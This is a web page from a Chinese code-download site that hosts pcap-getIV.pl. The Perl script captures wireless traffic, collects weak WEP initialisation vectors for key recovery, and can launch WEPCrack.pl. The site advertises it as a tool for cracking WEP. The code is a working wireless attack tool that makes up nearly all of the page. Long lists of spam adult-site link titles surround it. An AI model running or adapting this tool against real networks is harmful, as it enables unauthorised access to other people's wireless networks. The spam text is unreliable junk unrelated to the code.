亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? pcap-getiv.pl

?? 破解WIRELESS WEP的工具,很好的東西,
?? PL
字號:
#!/usr/bin/perl## pcap-getIV.pl # Anton T. Rager 10/05/2004## script to open pcapfile/device and watch for weak IVs.  # Creates file "IVFile.log" with captured/processed IVs # that match weak criteria. This script replaces the 3+# yr old prism-getIV.pl script that relied on prismdump # and a braindamaged way of processing the prismdump captures.## Use WEPCrack.pl to crack key after collecting 60+ Weak IVs # for each keybyte in secret.## Features:# - auto detects prism2 DLTs and skips prism2 header info# - 10000 packet status messages with timestamp for progress indication# - works with interface configured for monitor_mode and libpcap.# - also works with saved pcap files or saved prismdump files.## Limitations: # - assumes all traffic is for same BSSID/WEP encrypted network (try filtering if otherwise)# - does not discard repeated IVs from multiple/same nodes (again - try filtering on source MAC to prevent)# - static setting for 40bit WEPuse Net::Pcap;use Term::ReadKey;# Non Buffered Output$|=1;# -------------------------- Begin Options ---------------------------------------# Static setting for WEP keysize with this capture#$bytesize = 5; # 5 for 40bit 13 for 104bit WEP# Debug output - print all observed IVs - not just weak ones#$debug=0;# Append to existing logfile#$append_log=1;# number of packets to automatically dump status#$statdump=10000;# threshold for weak IVs and WEPCrack launch - launch manual with "c" command#$crack_threshold=60;# Toggles for differing Weak IVs# "Magic" IVs follow (x, 255, y) format (from FMS paper) - most reliable # for cracking, but requires lots of WEP frames# Resolved IVs match basic resolved equations (from FMS paper) - less reliable# for cracking, but occur often# Dwepcrack IVs match h1kari's 2nd output byte weak IVs #   (future option - see h1kari's paper)# $magic_iv=1;$resolved_iv=0;# Enter a single MAC address (bssid or source address) to limit IV collection # to specific network or host. With no filter, all frames are evaluated/recorded# #$filter="000102030405"; # bssid or specific source MAC# -------------------------- Options End Here ------------------------------------# Grab and process ARGS$argflag=0;if (substr(@ARGV[0],0,1) eq "-") {	$argflag=1;} else {	print("Error: must supply options\n");	&usage;}# -f file# -i int# -b bytesize# -w weak IV types (magic/resolved)# -F filter# -n new logfilewhile ($argflag eq 1) {	if (@ARGV[0] eq "-f") { # pcap file		$file=@ARGV[1];		shift(@ARGV); # remove option		shift(@ARGV); # remove value	} elsif (@ARGV[0] eq "-i") { # pcap interface		$dev=@ARGV[1];		shift(@ARGV); # remove option		shift(@ARGV); # remove value	} elsif (@ARGV[0] eq "-F") { # MAC to include filter		$filter=@ARGV[1];		shift(@ARGV); # remove option		shift(@ARGV); # remove value	} elsif (@ARGV[0] eq "-b") { # WEP Bytesize		if (int(@ARGV[1])) {			$bytesize=@ARGV[1];		} else {			print("bytesize is not an integer, reverting to bytesize of $bytesize\n");		}		shift(@ARGV); # remove option		shift(@ARGV); # remove value	} elsif (@ARGV[0] eq "-w") { # IV detection types - list with , as delimit		$magic_iv=0;		$resolved_iv=0;		@IV_options=split("\,",@ARGV[1]);		foreach $IV_list (@IV_options) {			if ($IV_list eq "magic") {				$magic_iv=1;			} elsif ($IV_list eq "resolved") {				$resolved_iv=1;			} else {				print("Invalid IV type $IV_List\n");			}		}		if (!$magic_iv && !$resolved_iv) {			$magic_iv=1;		}		shift(@ARGV); # remove option		shift(@ARGV); # remove value	} elsif (@ARGV[0] eq "-n") { # create new logfile		$append_log=0;		shift(@ARGV); # remove option	} elsif (@ARGV[0] eq "-h") { # usage		&usage;	}		$argflag=0;if (substr(@ARGV[0],0,1) eq "-") {	$argflag=1;}	}#if (!$ARGV[0]) {#	die("Usage: pcap device -- or pcap -f filename\n");#} elsif ($ARGV[0] eq "-f") {#	$file=@ARGV[1];#} else {#	$dev=@ARGV[0];#}	# Graceful exit with flush on <ctrl>C$SIG{INT} = \&sigint_handler;if ($file) {	$object=Net::Pcap::open_offline($file,\$err);	print("Opening pcap file $file.....\n");	if (!$object) {		die("Pcap Open Failed for file $file\n");	}} else {	$object=Net::Pcap::open_live($dev,1510, 0, -1, \$err);	print("Opening device $dev.....\n");	if (!$object) {		die("Pcap Open Failed for device $dev\n");	}}$dlt=Net::Pcap::datalink($object);print("DLT = $dlt: ");if ($dlt eq 105) {	print("DLT_IEEE802_11 (0byte Offset)\n");	$offset=0;} elsif ($dlt eq 119) {	print("Prism2 Header (144byte Offset)\n");	$offset=144;} else {	die("unsupported DLT type");}print("Assuming WEP key is $bytesize bytes (",$bytesize*8,"bits) long \n");print("\tthis determines how may keybytes deep to collect weak IVs\n");print("\tchange bytesize var or IVFile.log header if otherwise\n");print("\n");print("Status update at $statdump packets\n");if ($append_log && -f "IVFile.log") {	# open for append and assume header is same bitsize	print("Appending to existing logfile IVFile.log\n");	open(IVFile, ">>IVFile.log");	# todo: read existing file and update WeakIV counters} else {	# open logfile and create header	print("Creating new logfile IVFile.log\n");	open(IVFile, ">IVFile.log");	# Temp static header for 40/104 WEP -         # need to change cracker to try both?	print(IVFile "$bytesize\n");}# populate keycounter array with zero valuesfor ($x=0;$x<$bytesize;$x++) {	$keycounter[$x]=0;}if ($filter) {	print("Filtering on source MAC or BSSID of $filter\n");} else {	print("No filters - evaluating all detected frames for weak IVs\n\t(mult APs will prob confuse cracker)\n");}print("IV Flags: Magic=$magic_iv, Resolved=$resolved_iv\n");$help =  <<EOF;Interactive Commands:\th: Flash help\tf: Flush data to file\tn: Create new IVFile.log file\ts: Flash status summary\td: Toggle debug packet printing (1=All IVs/0=Only Weak IVs)\tc: Launch WEPCrack process on collected data\t^c: ExitEOFprint("Press \'h\' for interactive command help\n");$start_time=time();Net::Pcap::loop($object, -1, \&process_packet, $user_data);print("Exiting and flushing files\n");sub sigint_handler {	# snipped from jwright	if ($object) {		Net::Pcap::close ($object);		close(IVFile);		print("Flushed open files\n");		exit(0);	}}sub process_packet {	my ($user_data, $header, $pkt) = @_;	my($frame_type);	my ($source_mac);	my ($dest_mac);	my ($bssid);	my ($flags);	my ($addr_1);	my ($addr_2);	my ($addr_3);	my ($iv_field);	my ($llc_head);	my ($onebyte);	my (@IVList);	my ($y);	my ($x);	#print("packet len ", $header->{caplen}," : ");		$frame_type = ord(substr($pkt, $offset,1));		if ($frame_type == 0x80) { 		# print packets if verbose flag		#print("Beacon\n");	} elsif ($frame_type == 0x08) { 			$flags=ord(substr($pkt, $offset+1,1)); # extract dec value			$addr_1=unpack('H*', substr($pkt,$offset+4,6)); # extract hex values			$addr_2=unpack('H*', substr($pkt,$offset+10,6));# extract hex values			$addr_3=unpack('H*', substr($pkt,$offset+16,6));# extract hex values			$llc_head=unpack('H*',substr($pkt,$offset+24,5)); # either WEP IVs or LLC					#print("Data\n");				if (($flags & 0x01) == 0x01) { # to DS			$bssid=$addr_1;			$source_mac=$addr_2;			$dest_mac=$addr_3;		} elsif (($flags & 0x02) == 0x02) {			$bssid=$addr_2;			$source_mac=$addr_3;			$dest_mac=$addr_1;		}					if ($bssid eq $filter || $source_mac eq $filter || !$filter) { 				if (($flags & 0x40) == 0x40) { # WEP			$iv_field=$llc_head;			$y=0;			for ($x=0; $x<4; $x++) {				push(@IVList,substr($iv_field,$y, 2));				$y=$y+2;			}			$onebyte=substr($iv_field,$y,2);					splice(@IVHist,0,1);			push(@IVHist,hex(substr($iv_field,0, 6)));						$wep_progress_counter++;			$timestamp=time();			if ($wep_progress_counter == $statdump) {				$total_frames = $total_frames + $wep_progress_counter;				$pkt_ave=int($total_frames/($timestamp-$start_time));				if ($save_time && $timestamp-$save_time > 0) {					$int_ave=int($statdump/($timestamp-$save_time));				} else {					$int_ave=$pkt_ave;				}				print("Timestamp=$timestamp : $total_frames WEP frames seen (tot=$pkt_ave fps, last=$int_ave fps)\n\tWeak IV Keybyte Counters:\n\t");				for ($x=0;$x<$bytesize;$x++) {					print(" $x=$keycounter[$x]");				}				print("\n");				$wep_progress_counter=0;				$save_time=$timestamp;			}				if ($debug) {                            print("WEP: bssid=$bssid, src=$source_mac IV $IVList[0]:$IVList[1]:$IVList[2] $IVList[3] - $onebyte\n");			}			# -- [0] >2 < 16, [1] = 255   (Magic)			# -- [0]+[1] =1 and [3] <=0x0a or [3] ==0xff (Low Generics?)			# -- [0]+[1] <=0x0c and [3] >=0xf2 and [3] <=0xfe and and [3] !=0xfd (High Generics)				 					if ($magic_iv && hex($IVList[0]) > 2 && (hex($IVList[0])-3) < $bytesize && hex($IVList[1]) eq 255) {					$keybyte=(hex($IVList[0])-3);					print("write: Magic IV bssid=$bssid source=$source_mac IV=$IVList[0]:$IVList[1]:$IVList[2]\-\>$onebyte (keybyte:",$keybyte ,") \n");				print(IVFile hex($IVList[0]), " ", hex($IVList[1]), " ", hex($IVList[2]), " ", hex($onebyte),"\n");				$keycounter[$keybyte]++;			} elsif ($resolved_iv &&  ((hex($IVList[0]) + hex($IVList[1]) ) %256 eq 1 && (hex($IVList[2])+2) < $bytesize)) {				$keybyte=(hex($IVList[2])+2);				print("Low IV bssid=$bssid source=$source_mac IV=$IVList[0]:$IVList[1]:$IVList[2]\-\>$onebyte (keybyte:", $keybyte, ") \n");						print(IVFile hex($IVList[0]), " ", hex($IVList[1]), " ", hex($IVList[2]), " ", hex($onebyte), "\n");				$keycounter[$keybyte]++;			} elsif ($resolved_iv && ((hex($IVList[0]) + hex($IVList[1]) ) %256) eq (254 - hex($IVList[2])) && (254 - hex($IVList[2])) < $bytesize) {				$keybyte=(254 - hex($IVList[2]));				print("High IV bssid=$bssid source=$source_mac IV=$IVList[0]:$IVList[1]:$IVList[2]\-\>$onebyte (keybyte:", $keybyte, ") \n");									print(IVFile hex($IVList[0]), " ", hex($IVList[1]), " ", hex($IVList[2]), " ", hex($onebyte), "\n");				$keycounter[$keybyte]++;			}			#print("Bssid: $bssid\n");												} else {			# Check for IP LLC header -- if none, then may be lying firmware. Just note for now.			if ($llc_head eq "aaaa030000" || $llc_head eq "aaaa190087" || $llc_head eq "aaaa31009c") {				print("Cleartext\n")							} else {				print("No WEP flag, but fuzzycheck thinks WEP - you may weant to upgrade your prism firmware ($llc_head)\n");				# 0xAA - IP LLC				# 0x42 ?				# 0xf0 - NetBios				# 0xE0 - IPX							# $llc_head eq "aaaa190087"			# $llc_head eq "aaaa31009c"			}		}}			} else {	}	ReadMode('cbreak');	$key = ReadKey(.000001);	ReadMode('normal');	if ($key) {		if ($key eq "h") {			print("-$help");		} elsif ($key eq "d") {			$debug=$debug^1;			print("-Debug = $debug\n");		} elsif ($key eq "f") {			select((select(IVFile), $| =1) [0]);			print("-Flushed open files\n");		} elsif ($key eq "n") {			close(IVFile);			# open logfile and create header			print("Creating new logfile IVFile.log\n");			open(IVFile, ">IVFile.log");			# Temp static header for 40/104 WEP - 		        # need to change cracker to try both?			print(IVFile "$bytesize\n");			} elsif ($key eq "s") {					$timestamp=time();								$total_frames = $total_frames + $wep_progress_counter;					$pkt_ave=int($total_frames/($timestamp-$start_time));					print("-Stats: Timestamp=$timestamp : $total_frames WEP frames seen ($pkt_ave fps)\n\tWeak IV Keybyte Counters:\n\t");					for ($x=0;$x<$bytesize;$x++) {						print(" $x=$keycounter[$x]");					}					print("\n");		} elsif ($key eq "c" || $key eq "C") {			$crack_warn=0;			if ($key eq "c") {			        print("-Checking IV stats\n");				for ($x=0;$x<$bytesize;$x++) {					if ($keycounter[$x] < $crack_threshold) {						$crack_warn=1;						print("\tWe only have $keycounter[$x] weak IVs for Keybyte $x and threshold is $crack_threshold\n");					}				}			}			if ($crack_warn=0 || $key eq "C") {					Net::Pcap::close ($object);					select((select(IVFile), $| =1) [0]);				print("-Flushed open files\n");				print("--Calling ./WEPCrack.pl\n\n");				exec("./WEPCrack.pl");			} else {				print("Try \"C\" if you really want to crack with too few weak IVs\n");			}		}				}}sub usage {die("pcap-getIV.pl [-i interface/-f pcapfile] (options)\t-f pcap filename\t-i pcap interface\t-w weak IV type list (\"magic\", \"resolved\" or \"magic,resolved\" for both)\t-F include source/BSSID filter (hex MAC - ie \"010203ffffff\")\t-b WEP Bytesize (defaults to 5 - 5=40bit, 13=104bit)\t-n create new logfile (default is append to existing)");}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
成人中文字幕在线| 国产精品蜜臀在线观看| 亚洲欧美一区二区在线观看| 视频一区欧美精品| 精品国产a毛片| 欧美日韩国产一级片| 3d动漫精品啪啪一区二区竹菊| 国产午夜久久久久| 成人午夜在线视频| 在线观看三级视频欧美| 国产亚洲美州欧州综合国| 免费不卡在线视频| 欧美视频中文一区二区三区在线观看| 26uuu精品一区二区| 日本不卡一区二区三区高清视频| 一本久久综合亚洲鲁鲁五月天| 久久久精品日韩欧美| 日韩精彩视频在线观看| 欧美日韩精品一区二区三区 | 精品国产第一区二区三区观看体验| 亚洲美女一区二区三区| 91丝袜呻吟高潮美腿白嫩在线观看| www亚洲一区| 欧美中文字幕不卡| 中文字幕av资源一区| 日韩中文字幕麻豆| 精品一区免费av| av动漫一区二区| 精品国产91久久久久久久妲己| 国产精品私房写真福利视频| 紧缚捆绑精品一区二区| 色天天综合色天天久久| 欧美国产成人在线| 成人激情午夜影院| 欧美国产欧美综合| 从欧美一区二区三区| 日韩欧美在线网站| 日本欧美一区二区| 精品黑人一区二区三区久久| 日本亚洲免费观看| 欧美一卡在线观看| 精品一区二区三区的国产在线播放| 在线91免费看| 国产精品12区| 亚洲免费资源在线播放| 一本到一区二区三区| 亚洲电影你懂得| 欧美另类久久久品| 日日摸夜夜添夜夜添精品视频 | 久久精品国产**网站演员| 日韩精品中午字幕| 一本一道综合狠狠老| 婷婷久久综合九色综合伊人色| 日韩欧美电影在线| 粉嫩高潮美女一区二区三区| 亚洲综合免费观看高清完整版 | 欧美日韩精品福利| 丁香五精品蜜臀久久久久99网站| 一区二区三区四区高清精品免费观看| 欧美一区二区三区四区五区| 不卡av电影在线播放| 日韩成人免费在线| 亚洲激情图片一区| 国产网站一区二区三区| 成人午夜碰碰视频| 蜜桃av一区二区| 亚洲超碰97人人做人人爱| 国产精品久久久久久亚洲毛片| 91麻豆精品国产自产在线| 日韩欧美国产wwwww| 99久久婷婷国产精品综合| 久久精品国产网站| 亚洲一区二区av电影| 国产欧美一区二区三区在线老狼| 欧美日韩精品一区二区三区四区| 成人午夜在线播放| 国产经典欧美精品| 免费观看在线综合| 午夜久久福利影院| 亚洲麻豆国产自偷在线| 国产精品久久国产精麻豆99网站 | 亚洲视频香蕉人妖| 国产欧美精品一区二区色综合朱莉| 69精品人人人人| 色哟哟一区二区在线观看| 国产91精品免费| 丁香六月综合激情| 国产白丝精品91爽爽久久| 日韩成人av影视| 男人的天堂亚洲一区| 国产在线观看免费一区| 国产成人在线视频网址| 99久久综合国产精品| 91免费视频大全| 欧美日韩视频在线第一区| 欧美一区二区三区小说| 精品国产乱码久久久久久闺蜜 | 一卡二卡三卡日韩欧美| 日韩国产欧美一区二区三区| 青青草国产精品97视觉盛宴| 麻豆精品久久精品色综合| 粉嫩久久99精品久久久久久夜| 94-欧美-setu| 555夜色666亚洲国产免| 国产欧美一区二区精品久导航| 中文字幕一区av| 日韩av一区二区三区四区| 国产成人小视频| 欧美四级电影网| 久久久影视传媒| 一区二区三区蜜桃网| 国产精品一级片| 555www色欧美视频| 国产精品久久久久久久岛一牛影视 | 欧美一区午夜精品| 国产欧美一区二区三区鸳鸯浴| 18成人在线观看| 亚洲3atv精品一区二区三区| 蜜臀av性久久久久蜜臀aⅴ| 成人激情开心网| 欧美成人性福生活免费看| 亚洲一区二区影院| av电影在线观看不卡| 自拍偷拍欧美激情| 国产美女精品一区二区三区| 8x8x8国产精品| 亚洲大尺度视频在线观看| 一本大道久久精品懂色aⅴ| 国产精品久久夜| 国产电影一区二区三区| 精品欧美黑人一区二区三区| 丝袜诱惑亚洲看片| 欧美精品国产精品| 日韩精品午夜视频| 日韩一区二区在线观看| 午夜精品在线视频一区| 欧美日韩国产天堂| 亚洲第一av色| 91精品国产日韩91久久久久久| 亚洲成人av资源| 91精品国产综合久久福利软件| 亚洲v中文字幕| 在线播放视频一区| 午夜精彩视频在线观看不卡| 在线一区二区观看| 亚洲一区在线视频| 日本高清无吗v一区| 中日韩免费视频中文字幕| 成人av综合一区| 国产精品毛片高清在线完整版| 成人免费视频免费观看| 国产精品久久久久影院亚瑟| 91性感美女视频| 亚洲一区二区四区蜜桃| 欧美一区二区三区在| 韩国中文字幕2020精品| 久久久久久日产精品| 奇米精品一区二区三区在线观看 | 91精品国产一区二区三区| 久久精品二区亚洲w码| 日韩久久免费av| av电影一区二区| 一区二区视频在线| 91精品国产品国语在线不卡| 国产精品一区二区男女羞羞无遮挡| 国产校园另类小说区| 成人动漫中文字幕| 亚洲午夜电影在线观看| 欧美xxx久久| 一本久久精品一区二区| 狠狠色综合色综合网络| 日韩一区中文字幕| 欧美精品一级二级三级| 成人黄色小视频在线观看| 一区二区三区精品在线| 精品久久久久久亚洲综合网| 不卡的电影网站| 性做久久久久久免费观看| 久久久精品中文字幕麻豆发布| 日本高清不卡视频| 激情欧美一区二区| 亚洲自拍偷拍综合| 久久久91精品国产一区二区精品| 欧美中文字幕一二三区视频| 国产福利精品一区| 国产在线视视频有精品| 午夜影院在线观看欧美| 国产精品福利一区| 国产日韩综合av| 91精品国产入口| 欧美日韩五月天| www..com久久爱| 日韩精品一区第一页| 国产亚洲女人久久久久毛片| 精品久久免费看| 91精品国产91久久久久久最新毛片| 91精品国产全国免费观看| 欧美电影影音先锋| 91精品国产麻豆国产自产在线| 在线不卡中文字幕播放|